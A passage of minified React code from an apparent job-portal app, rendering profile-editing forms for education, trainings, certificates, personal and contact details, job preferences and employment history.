small",children:"Certificate ID"}),e.jsx("p",{className:"mb-0",children:a.certificate_id||"N/A"})]})]})})]})})),ka=()=>{const a=me(),{currentUser:s,setCurrentUser:t}=ee(),[i,n]=l.useState(!1),[r,o]=l.useState(!1),[d,m]=l.useState(!1),[f,j]=l.useState(null),[u,N]=l.useState(null),[b,C]=l.useState(null),[E,y]=l.useState(!1);if(!s)return T.error("User not found"),null;const _={academics:s!=null&&s.degree_university_name?JSON.parse(s.degree_university_name):[],trainings:s!=null&&s.high_school_name?JSON.parse(s.high_school_name):[],certifications:s!=null&&s.seconday_school_name?JSON.parse(s.seconday_school_name):[],submitAction:""},D=l.useCallback(async g=>{y(!0);try{const w={...s,degree_university_name:JSON.stringify(g.academics),high_school_name:JSON.stringify(g.trainings),seconday_school_name:JSON.stringify(g.certifications)},h=await pe("profile",w),x=se.fromJson(JSON.stringify(h));te.saveProfile(x),T.success("Profile updated successfully",{icon:e.jsx("span",{children:"✅"})}),g.submitAction==="saveAndNext"&&(t(x),a("/admin/profile-edit/employment"))}catch{T.error("Failed to save profile updates",{icon:e.jsx("span",{children:"❌"})})}finally{y(!1)}},[s,t,a]),A=l.useCallback((g,w,h)=>{T(e.jsxs("div",{children:[e.jsxs("p",{children:["Delete this ",h," entry?"]}),e.jsxs("div",{className:"d-flex gap-2 mt-2",children:[e.jsx("button",{className:"btn btn-danger btn-sm",onClick:()=>{w(g),T.dismiss()},children:"Delete"}),e.jsx("button",{className:"btn btn-secondary btn-sm",onClick:()=>T.dismiss(),children:"Cancel"})]})]}),{icon:e.jsx("span",{children:"⚠️"})})},[]);return e.jsx(Y,{initialValues:_,validateOnChange:!1,validationSchema:G({academics:ce().of(hs),trainings:ce().of(xs),certifications:ce().of(fs)}),onSubmit:D,children:({values:g,setFieldValue:w})=>e.jsxs(ue,{children:[e.jsxs("div",{className:"accordion",id:"eduAccordion",children:[e.jsxs(p.div,{className:"accordion-item",initial:{opacity:0,y:-10},animate:{opacity:1,y:0},transition:{duration:.3},children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",id:"academicsHeading",children:e.jsx("button",{className:"accordion-button bg-light text-black fw-bold text-gray-900",type:"button","data-bs-toggle":"collapse","data-bs-target":"#academicsCollapse","aria-expanded":"true","aria-controls":"academicsCollapse",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Academic Qualifications"})})}),e.jsx("div",{id:"academicsCollapse",className:"accordion-collapse collapse show","aria-labelledby":"academicsHeading","data-bs-parent":"#eduAccordion",children:e.jsxs("div",{className:"accordion-body",children:[e.jsxs("div",{className:"d-flex justify-content-between align-items-center mb-4",children:[e.jsx("span",{className:"fw-bold",children:"List of Academic Entries"}),e.jsxs($,{variant:"primary",size:"sm",onClick:()=>{j(null),n(!0)},children:[e.jsx(re,{className:"me-2"})," Add Entry"]})]}),e.jsx(oe,{name:"academics",children:({push:h,remove:x,replace:P})=>e.jsxs(e.Fragment,{children:[g.academics.map((S,O)=>e.jsx(wa,{academic:S,onEdit:()=>{j(O),n(!0)},onDelete:()=>A(O,x,"academic")},S.id)),e.jsx(Ea,{show:i,onHide:()=>n(!1),onSubmit:S=>{f!==null?P(f,S):h(S),n(!1)},initialValues:f!==null?g.academics[f]:null})]})})]})})]}),e.jsxs(p.div,{className:"accordion-item",initial:{opacity:0,y:-10},animate:{opacity:1,y:0},transition:{duration:.3,delay:.1},children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",id:"trainingHeading",children:e.jsx("button",{className:"accordion-button bg-light text-black fw-bold text-gray-900 collapsed",type:"button","data-bs-toggle":"collapse","data-bs-target":"#trainingCollapse","aria-expanded":"false","aria-controls":"trainingCollapse",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Trainings"})})}),e.jsx("div",{id:"trainingCollapse",className:"accordion-collapse collapse","aria-labelledby":"trainingHeading","data-bs-parent":"#eduAccordion",children:e.jsxs("div",{className:"accordion-body",children:[e.jsxs("div",{className:"d-flex justify-content-between align-items-center mb-4",children:[e.jsx("span",{className:"fw-bold",children:"List of Trainings"}),e.jsxs($,{variant:"primary",size:"sm",onClick:()=>{N(null),o(!0)},children:[e.jsx(re,{className:"me-2"})," Add Training"]})]}),e.jsx(oe,{name:"trainings",children:({push:h,remove:x,replace:P})=>e.jsxs(e.Fragment,{children:[g.trainings.map((S,O)=>e.jsx(Ca,{training:S,onEdit:()=>{N(O),o(!0)},onDelete:()=>A(O,x,"training")},S.id)),e.jsx(Aa,{show:r,onHide:()=>o(!1),onSubmit:S=>{u!==null?P(u,S):h(S),o(!1)},initialValues:u!==null?g.trainings[u]:null})]})})]})})]}),e.jsxs(p.div,{className:"accordion-item",initial:{opacity:0,y:-10},animate:{opacity:1,y:0},transition:{duration:.3,delay:.2},children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",id:"certHeading",children:e.jsx("button",{className:"accordion-button bg-light text-black fw-bold text-gray-900 collapsed",type:"button","data-bs-toggle":"collapse","data-bs-target":"#certCollapse","aria-expanded":"false","aria-controls":"certCollapse",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Professional Certificates"})})}),e.jsx("div",{id:"certCollapse",className:"accordion-collapse collapse","aria-labelledby":"certHeading","data-bs-parent":"#eduAccordion",children:e.jsxs("div",{className:"accordion-body",children:[e.jsxs("div",{className:"d-flex justify-content-between align-items-center mb-4",children:[e.jsx("span",{className:"fw-bold",children:"List of Certificates"}),e.jsxs($,{variant:"primary",size:"sm",onClick:()=>{C(null),m(!0)},children:[e.jsx(re,{className:"me-2"})," Add Certificate"]})]}),e.jsx(oe,{name:"certifications",children:({push:h,remove:x,replace:P})=>e.jsxs(e.Fragment,{children:[g.certifications.map((S,O)=>e.jsx(Sa,{certificate:S,onEdit:()=>{C(O),m(!0)},onDelete:()=>A(O,x,"certificate")},S.id)),e.jsx(Da,{show:d,onHide:()=>m(!1),onSubmit:S=>{b!==null?P(b,S):h(S),m(!1)},initialValues:b!==null?g.certifications[b]:null})]})})]})})]})]}),e.jsxs("div",{className:"d-flex justify-content-between mt-5 border-top pt-4 mb-4 pe-5 ps-0",children:[e.jsx("button",{type:"button",className:"btn btn-outline-primary",onClick:()=>a("/admin/profile-edit/bio"),children:"← Back"}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsxs("button",{type:"submit",className:"btn btn-primary",onClick:()=>w("submitAction","save"),disabled:E,children:[e.jsx(he,{className:"me-2"}),E?"Saving...":"Save"]}),e.jsxs("button",{type:"submit",className:"btn btn-success",onClick:()=>w("submitAction","saveAndNext"),disabled:E,children:["Next Step",e.jsx(ve,{className:"ms-2"})]})]})]})]})})},Ea=l.memo(({show:a,onHide:s,onSubmit:t,initialValues:i})=>e.jsx(I,{show:a,onHide:s,centered:!0,size:"lg",children:e.jsx(Y,{initialValues:i||{id:Math.random().toString(36).substr(2,9),education_level:"",major:"",institution:"",duration:"",graduation_year:"",result:""},validationSchema:hs,onSubmit:t,validateOnChange:!1,children:({handleSubmit:n,isValidating:r})=>e.jsxs(e.Fragment,{children:[e.jsx(I.Header,{closeButton:!0,className:"bg-light",children:e.jsx(I.Title,{children:i?"Edit Education":"Add New Education"})}),e.jsx(I.Body,{children:e.jsxs("div",{className:"row g-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"education_level",label:"Education Level",component:o=>e.jsx(V,{...o,options:ga,placeholder:"Select"})})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"major",label:"Major/Concentration",placeholder:"e.g. Computer Science",component:v})}),e.jsx("div",{className:"col-md-12",children:e.jsx(c,{name:"institution",label:"Institution Name",placeholder:"University of Example",component:v})}),e.jsx("div",{className:"col-md-4",children:e.jsx(c,{name:"duration",label:"Duration",placeholder:"e.g. 4 years",component:v})}),e.jsx("div",{className:"col-md-4",children:e.jsx(c,{name:"graduation_year",label:"Graduation Year",placeholder:"2020",component:v})}),e.jsx("div",{className:"col-md-4",children:e.jsx(c,{name:"result",label:"Result",placeholder:"e.g. GPA 3.8",component:v})})]})}),e.jsxs(I.Footer,{className:"border-0",children:[e.jsx($,{variant:"secondary",onClick:s,children:"Cancel"}),e.jsx($,{variant:"primary",onClick:()=>n(),disabled:r,children:i?"Save Changes":"Add Education"})]})]})})})),Aa=l.memo(({show:a,onHide:s,onSubmit:t,initialValues:i})=>e.jsx(I,{show:a,onHide:s,centered:!0,size:"lg",children:e.jsx(Y,{initialValues:i||{id:Math.random().toString(36).substr(2,9),training_title:"",provider:"",year:"",remarks:""},validationSchema:xs,onSubmit:t,validateOnChange:!1,children:({handleSubmit:n,isValidating:r})=>e.jsxs(e.Fragment,{children:[e.jsx(I.Header,{closeButton:!0,className:"bg-light",children:e.jsx(I.Title,{children:i?"Edit Training":"Add New Training"})}),e.jsx(I.Body,{children:e.jsxs("div",{className:"row g-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"training_title",label:"Training Title",placeholder:"e.g. Project Management",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"provider",label:"Provider",placeholder:"e.g. ABC Institute",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"year",label:"Year",placeholder:"2021",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"remarks",label:"Remarks",placeholder:"Any relevant notes...",component:v})})]})}),e.jsxs(I.Footer,{className:"border-0",children:[e.jsx($,{variant:"secondary",onClick:s,children:"Cancel"}),e.jsx($,{variant:"primary",onClick:()=>n(),disabled:r,children:i?"Save Changes":"Add Training"})]})]})})})),Da=l.memo(({show:a,onHide:s,onSubmit:t,initialValues:i})=>e.jsx(I,{show:a,onHide:s,centered:!0,size:"lg",children:e.jsx(Y,{initialValues:i||{id:Math.random().toString(36).substr(2,9),certificate_title:"",issuing_authority:"",date_issued:"",certificate_id:""},validationSchema:fs,onSubmit:t,validateOnChange:!1,children:({handleSubmit:n,isValidating:r})=>e.jsxs(e.Fragment,{children:[e.jsx(I.Header,{closeButton:!0,className:"bg-light",children:e.jsx(I.Title,{children:i?"Edit Certificate":"Add New Certificate"})}),e.jsx(I.Body,{children:e.jsxs("div",{className:"row g-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"certificate_title",label:"Certificate Title",placeholder:"e.g. Certified Network Admin",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"issuing_authority",label:"Issuing Authority",placeholder:"e.g. Cisco",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"date_issued",label:"Date Issued",placeholder:"2022-05-10",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"certificate_id",label:"Certificate ID",placeholder:"Optional",component:v})})]})}),e.jsxs(I.Footer,{className:"border-0",children:[e.jsx($,{variant:"secondary",onClick:s,children:"Cancel"}),e.jsx($,{variant:"primary",onClick:()=>n(),disabled:r,children:i?"Save Changes":"Add Certificate"})]})]})})})),js=l.createContext(void 0),Pa=()=>{const a=l.useContext(js);if(!a)throw new Error("useProfileEdit must be used within a ProfileEditProvider");return a},$a=({children:a})=>{const[s,t]=l.useState(new se);return e.jsx(js.Provider,{value:{profile:s,setProfile:t},children:a})},K={hidden:{opacity:0,y:10},visible:{opacity:1,y:0,transition:{duration:.3}},exit:{opacity:0,y:10}},Ia=()=>{const a=me(),[s,t]=l.useState(!1),[i,n]=l.useState(!1),[r,o]=l.useState(""),[d,m]=l.useState(""),[f,j]=l.useState(!1),{currentUser:u,setCurrentUser:N}=ee(),[b,C]=l.useState([]),[E,y]=l.useState([]);if(!u)return alert("User not found"),null;const _=G().shape({first_name:k().required("First Name is required"),last_name:k().min(2,"Last Name must be at least 2 characters").required("Last Name is required")});l.useEffect(()=>{D()},[]);const D=async()=>{const g=await Rs.getItems();if(g&&g.CATEGORIES){const x=[];for(const P in g.CATEGORIES){const S=g.CATEGORIES[P];S&&x.push({value:S.id,label:S.name})}x.length>0?y(x):alert("No job categories found")}let w=[];try{w=await qs.getItems()}catch(x){alert("Failed to load districts: "+x);return}if(w.length<1){alert("No districts found");return}const h=w.filter(x=>x.name).map(x=>({value:x.id+"",label:x.name}));C(h)},A=async(g,w)=>{o(""),m(""),j(!0);const h=(g==null?void 0:g.submitAction)||"save";try{const x=await pe("profile",g),P=se.fromJson(JSON.stringify(x));N(P),te.saveProfile(P),m("Profile updated successfully"),T.success("Profile updated successfully"),h==="saveAndNext"&&a("/admin/profile-edit/education")}catch(x){o("Failed: "+x),T.error("Profile update failed"),w.setSubmitting(!1)}finally{j(!1),w.setSubmitting(!1)}};return e.jsx(Y,{initialValues:u,validationSchema:_,onSubmit:A,children:({isSubmitting:g,setFieldValue:w})=>e.jsx(de,{mode:"wait",children:e.jsx(p.div,{variants:K,initial:"hidden",animate:"visible",exit:"exit",children:e.jsxs(ue,{children:[f&&e.jsx(p.div,{className:"position-absolute top-0 start-0 w-100 h-100 d-flex align-items-center justify-content-center bg-dark bg-opacity-50",variants:K,initial:"hidden",animate:"visible",exit:"exit",style:{zIndex:9999},children:e.jsx("div",{className:"spinner-border text-light",role:"status",children:e.jsx("span",{className:"visually-hidden",children:"Loading..."})})}),r&&e.jsxs(p.div,{className:"alert alert-danger alert-dismissible fade show",role:"alert",variants:K,initial:"hidden",animate:"visible",exit:"exit",children:[r,e.jsx("button",{type:"button",className:"btn-close","data-bs-dismiss":"alert","aria-label":"Close"})]}),d&&e.jsxs(p.div,{className:"alert alert-success alert-dismissible fade show",role:"alert",variants:K,initial:"hidden",animate:"visible",exit:"exit",children:[d,e.jsx("button",{type:"button",className:"btn-close","data-bs-dismiss":"alert","aria-label":"Close"})]}),e.jsxs("div",{className:"accordion",id:"profileEditAccordion",children:[e.jsxs(p.div,{className:"accordion-item",variants:K,initial:"hidden",animate:"visible",exit:"exit",children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",id:"headingOne",children:e.jsx("button",{className:"accordion-button bg-light text-black fw-bold text-gray-900",type:"button","data-bs-toggle":"collapse","data-bs-target":"#collapseOne","aria-expanded":"true","aria-controls":"collapseOne",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Personal Details"})})}),e.jsx("div",{id:"collapseOne",className:"accordion-collapse collapse show","aria-labelledby":"headingOne","data-bs-parent":"#profileEditAccordion",children:e.jsxs("div",{className:"accordion-body",children:[e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"title",label:"Title",options:[{value:"Mr",label:"Mr"},{value:"Mrs",label:"Mrs"},{value:"Miss",label:"Miss"},{value:"Ms",label:"Ms"},{value:"Dr",label:"Dr"},{value:"Prof",label:"Prof"},{value:"Rev",label:"Rev"},{value:"Hon",label:"Hon"}],component:V})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"first_name",label:e.jsxs(e.Fragment,{children:["First Name"," ",e.jsx("span",{className:"text-danger",children:"*"})]}),placeholder:"Enter First Name",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"last_name",label:"Last Name",placeholder:"Enter Last Name",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"sex",label:"Gender",options:[{value:"Male",label:"Male"},{value:"Female",label:"Female"},{value:"Other",label:"Other"}],component:V})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"date_of_birth",label:"Date of Birth",component:Se})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"religion",label:"Religion",options:[{value:"Islam",label:"Islam"},{value:"Christian",label:"Christian"},{value:"Hindu",label:"Hindu"},{value:"Other",label:"Other"}],component:V})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"marital_status",label:"Marital Status",options:[{value:"Single",label:"Single"},{value:"Married",label:"Married"},{value:"Divorced",label:"Divorced"},{value:"Widowed",label:"Widowed"}],component:V})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"nationality",label:"Nationality",options:Os,component:V})})]}),e.jsx("div",{className:"row mb-3",children:e.jsx("div",{className:"col-md-12",children:e.jsx(c,{name:"languages",label:"Languages",placeholder:"e.g. English, Swahili",component:v})})}),e.jsx("div",{className:"row mb-3",children:e.jsx("div",{className:"col-md-12",children:e.jsx(c,{name:"has_disability",label:"Do you have a disability?",options:[{value:"Yes",label:"Yes"},{value:"No",label:"No"}],component:h=>e.jsx(be,{...h,radioClass:"form-check form-check-inline",onChange:x=>{h.form.setFieldValue(h.field.name,x.target.value),n(x.target.value==="Yes")}})})})}),e.jsx(de,{mode:"wait",children:i&&e.jsxs(p.div,{variants:K,initial:"hidden",animate:"visible",exit:"exit",children:[e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"is_registered_on_disability",label:"Are you registered on ict4personswithdisabilities.org?",options:[{value:"Yes",label:"Yes"},{value:"No",label:"No"}],component:h=>e.jsx(be,{...h,radioClass:"form-check form-check-inline"})})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"disability_type",label:"Disability Type",placeholder:"Enter Disability Type",component:v})})]}),e.jsx("div",{className:"row mb-3",children:e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"dificulty_display_on_cv",label:"Display Difficulty on CV",options:[{value:"Yes",label:"Yes"},{value:"No",label:"No"}],component:h=>e.jsx(be,{...h,radioClass:"form-check form-check-inline"})})})})]})})]})})]}),e.jsxs(p.div,{className:"accordion-item",variants:K,initial:"hidden",animate:"visible",exit:"exit",children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",id:"headingTwo",children:e.jsx("button",{className:"accordion-button collapsed bg-light text-black fw-bold",type:"button","data-bs-toggle":"collapse","data-bs-target":"#collapseTwo","aria-expanded":"false","aria-controls":"collapseTwo",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Contact & Identity"})})}),e.jsx("div",{id:"collapseTwo",className:"accordion-collapse collapse","aria-labelledby":"headingTwo","data-bs-parent":"#profileEditAccordion",children:e.jsxs("div",{className:"accordion-body",children:[e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"district_id",label:"City",placeholder:"District of Residence",options:b,component:V})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"home_address",label:"Home Address",placeholder:"Permanent or Family Residence",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"current_address",label:"Current Address",placeholder:"Present Working/Residence Address",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"phone_number_1",label:"Phone Number 1",placeholder:"Primary Contact No.",component:v,disabled:!0})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"phone_number_2",label:"Phone Number 2",placeholder:"Alternate Contact No.",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"country_code",label:"Country Code",placeholder:"e.g. +256",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"emergency_person_name",label:"Referee Name",placeholder:"Enter Referee Name",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"emergency_person_phone",label:"Referee Phone",placeholder:"Enter Referee Phone",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"national_id_number",label:"National ID Number",placeholder:"Enter your National ID",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"passport_number",label:"Passport Number",placeholder:"Enter Passport No.",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"tin",label:"TIN",placeholder:"Tax Identification Number",component:v})})]}),e.jsx("div",{className:"row mb-3",children:e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"nssf_number",label:"NSSF Number",placeholder:"Social Security Number",component:v})})})]})})]}),e.jsxs(p.div,{className:"accordion-item",variants:K,initial:"hidden",animate:"visible",exit:"exit",children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",id:"headingThree",children:e.jsx("button",{className:"accordion-button collapsed bg-light text-black fw-bold",type:"button","data-bs-toggle":"collapse","data-bs-target":"#collapseThree","aria-expanded":"false","aria-controls":"collapseThree",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Professional & Job Preferences"})})}),e.jsx("div",{id:"collapseThree",className:"accordion-collapse collapse","aria-labelledby":"headingThree","data-bs-parent":"#profileEditAccordion",children:e.jsxs("div",{className:"accordion-body",children:[e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"special_qualification",label:"Job Designation",placeholder:"e.g. Software Engineer, Business Analyst, etc.",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"objective",label:"Career Objective",placeholder:"Briefly describe your career objective",component:_e})})]}),e.jsx("div",{className:"row mb-3",children:e.jsx("div",{className:"col-md-12",children:e.jsx(c,{name:"career_summary",label:"Career Summary",placeholder:"Short summary of work experience",component:_e})})}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"present_salary",label:"Present Salary",placeholder:"Enter current salary if employed",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"expected_salary",label:"Expected Salary",placeholder:"Enter your expected salary",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"expected_job_level",label:"Expected Job",placeholder:"e.g. Software Engineer, Business Analyst, etc.",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"expected_job_nature",label:"Expected Job Nature",placeholder:"Full Time / Part Time / Contract",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"preferred_job_location",label:"Preferred Job Location",placeholder:"e.g. Kampala",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"preferred_job_category",label:"Select Preferred Job Category",placeholder:"e.g. IT, Finance, Marketing",options:E,component:V})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"preferred_job_category_other",label:"Preferred Job Category (Other)",placeholder:"Enter if not listed above",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"preferred_job_districts",label:"Preferred Job Districts",placeholder:"List any specific districts",component:v})})]}),e.jsxs("div",{className:"row mb-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"preferred_job_abroad",label:"Preferred Job Abroad",options:[{value:"Yes",label:"Yes"},{value:"No",label:"No"}],component:h=>e.jsx(be,{...h,radioClass:"form-check form-check-inline",onChange:x=>{h.form.setFieldValue(h.field.name,x.target.value),t(x.target.value==="Yes")}})})}),e.jsx(de,{mode:"wait",children:s&&e.jsx(p.div,{className:"col-md-6",variants:K,initial:"hidden",animate:"visible",exit:"exit",children:e.jsx(c,{name:"preferred_job_countries",label:"Preferred Job Countries",placeholder:"List countries if abroad is yes",component:v})})})]})]})})]})]}),e.jsxs("div",{className:"d-flex justify-content-between mt-5 border-top pt-4 mb-5 mb-lg-10",children:[e.jsx("button",{type:"button",className:"btn btn-outline-primary",onClick:()=>a("/admin/profile-edit/photo"),children:"← Back"}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsxs("button",{type:"submit",className:"btn btn-primary",onClick:()=>w("submitAction","save"),disabled:g,children:[e.jsx(he,{className:"me-2"}),g?"Saving...":"Save"]}),e.jsxs("button",{type:"submit",className:"btn btn-success",onClick:()=>w("submitAction","saveAndNext"),disabled:g,children:["Next Step ",e.jsx(ve,{className:"ms-2"})]})]})]})]})})})})},Ma={hidden:{opacity:0,y:20},visible:{opacity:1,y:0,transition:{duration:.3}},exit:{opacity:0,y:-20}},_a={hidden:{opacity:0,scale:.95},visible:{opacity:1,scale:1,transition:{duration:.2}}},bs=G().shape({companyName:k().required("Company Name is required"),companyBusiness:k().required("Company Business is required"),position:k().required("Designation/Position is required"),department:k().required("Department is required"),startDate:k().required("Employment start date is required"),responsibilities:k().required("Responsibilities are required"),employmentPeriod:k().required("Employment period is required"),stillEmployed:Fs()}),Ta=l.memo(({employment:a,index:s,onEdit:t,onDelete:i})=>e.jsx(p.div,{variants:Ma,initial:"hidden",animate:"visible",exit:"exit",layout:!0,children:e.jsxs(B,{className:"mb-3 hover-shadow transition-all",children:[e.jsxs(B.Header,{className:"d-flex justify-content-between align-items-center bg-light",children:[e.jsxs("div",{children:[e.jsx("h5",{className:"mb-0 text-primary",children:a.position}),e.jsx("small",{className:"text-muted",children:a.companyName})]}),e.jsxs(M,{children:[e.jsx(M.Toggle,{variant:"link",className:"no-arrow p-0",children:e.jsx(p.div,{whileHover:{scale:1.1},children:e.jsx(U,{className:"text-muted fs-5"})})}),e.jsxs(M.Menu,{align:"end",children:[e.jsxs(M.Item,{onClick:t,children:[e.jsx(U,{className:"me-2"})," Edit"]}),e.jsxs(M.Item,{onClick:i,className:"text-danger",children:[e.jsx(xe,{className:"me-2"})," Delete"]})]})]})]}),e.jsxs(B.Body,{children:[e.jsxs(p.div,{layout:!0,className:"row g-2",children:[e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Company Business"}),e.jsx("p",{className:"mb-0",children:a.companyBusiness})]}),e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Department"}),e.jsx("p",{className:"mb-0",children:a.department})]}),e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Start Date"}),e.jsx("p",{className:"mb-0",children:a.startDate})]})]}),e.jsx(p.div,{layout:!0,className:"row g-2 mt-2",children:e.jsxs("div",{className:"col-md-12",children:[e.jsx("label",{className:"text-muted small",children:"Responsibilities"}),e.jsx("p",{className:"mb-0",children:a.responsibilities})]})}),e.jsxs(p.div,{layout:!0,className:"row g-2 mt-2",children:[e.jsxs("div",{className:"col-md-6",children:[e.jsx("label",{className:"text-muted small",children:"Employment Period (in Years)"}),e.jsx("p",{className:"mb-0",children:a.employmentPeriod})]}),e.jsxs("div",{className:"col-md-6",children:[e.jsx("label",{className:"text-muted small",children:"Still Employed?"}),e.jsx("p",{className:"mb-0",children:a.stillEmployed?"Yes":"No"})]})]})]})]})})),Ra=()=>{const a=me(),{currentUser:s,setCurrentUser:t}=ee(),[i,n]=l.useState(!1),[r,o]=l.useState(null),[d,m]=l.useState(!1);if(!s)return T.error("User not found"),null;const f={employmentHistories:s!=null&&s.primary_school_name?JSON.parse(s.primary_school_name):[],submitAction:""},j=l.useCallback(async N=>{m(!0);try{const b={...s,primary_school_name:JSON.stringify(N.employmentHistories)},C=await pe("profile",b),E=se.fromJson(JSON.stringify(C));te.saveProfile(E),T.success("Employment details updated successfully",{icon:e.jsx("span",{children:"✅"})}),N.submitAction==="saveAndNext"&&a("/admin/profile-edit/other-section")}catch{T.error("Failed to save employment details",{icon:e.jsx("span",{children:"❌"})})}finally{m(!1)}},[s,t,a]),u=l.useCallback((N,b)=>{T(e.jsxs(p.div,{initial:{opacity:0},animate:{opacity:1},className:"d-flex flex-column p-3",children:[e.jsx("h6",{className:"mb-3",children:"Delete this employment entry?"}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsx($,{variant:"danger",size:"sm",onClick:()=>{b(N),T.dismiss()},children:"Delete"}),e.jsx($,{variant:"outline-secondary",size:"sm",onClick:()=>T.dismiss(),children:"Cancel"})]})]}),{icon:e.jsx("span",{children:"⚠️"})})},[]);return e.jsx(Le,{fluid:"lg",className:"py-4",children:e.jsx(Y,{initialValues:f,validationSchema:G({employmentHistories:ce().of(bs)}),validateOnChange:!1,onSubmit:j,children:({values:N,setFieldValue:b})=>e.jsxs(ue,{children:[e.jsx(X,{defaultActiveKey:"0",className:"shadow-sm rounded-3 overflow-hidden",children:e.jsxs(X.Item,{eventKey:"0",children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",children:e.jsx(X.Button,{className:"bg-light text-black fw-bold text-gray-900",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Employment History"})})}),e.jsx(X.Collapse,{eventKey:"0",children:e.jsxs(p.div,{initial:{opacity:0},animate:{opacity:1},className:"p-4",children:[e.jsx("div",{className:"d-flex justify-content-end mb-4",children:e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsxs($,{variant:"primary",onClick:()=>{o(null),n(!0)},children:[e.jsx(re,{className:"me-2"})," Add Employment"]})})}),e.jsx(oe,{name:"employmentHistories",children:({push:C,remove:E,replace:y})=>e.jsx(de,{mode:"popLayout",children:N.employmentHistories.map((_,D)=>e.jsx(Ta,{employment:_,index:D,onEdit:()=>{o(D),n(!0)},onDelete:()=>u(D,E)},_.id))})})]})})]})}),e.jsx(qa,{show:i,onHide:()=>n(!1),onSubmit:C=>{r!==null?b(`employmentHistories[${r}]`,C):b("employmentHistories",[...N.employmentHistories,C]),n(!1)},initialValues:r!==null?N.employmentHistories[r]:null}),e.jsxs(p.div,{className:"d-flex justify-content-between mt-5 border-top pt-4",layout:!0,children:[e.jsx(p.div,{whileHover:{x:-5},children:e.jsx($,{variant:"outline-primary",onClick:()=>a("/admin/profile-edit/education"),children:"← Back"})}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsxs($,{type:"submit",variant:"primary",onClick:()=>b("submitAction","save"),disabled:d,children:[e.jsx(he,{className:"me-2"}),d?e.jsx("span",{className:"spinner-border 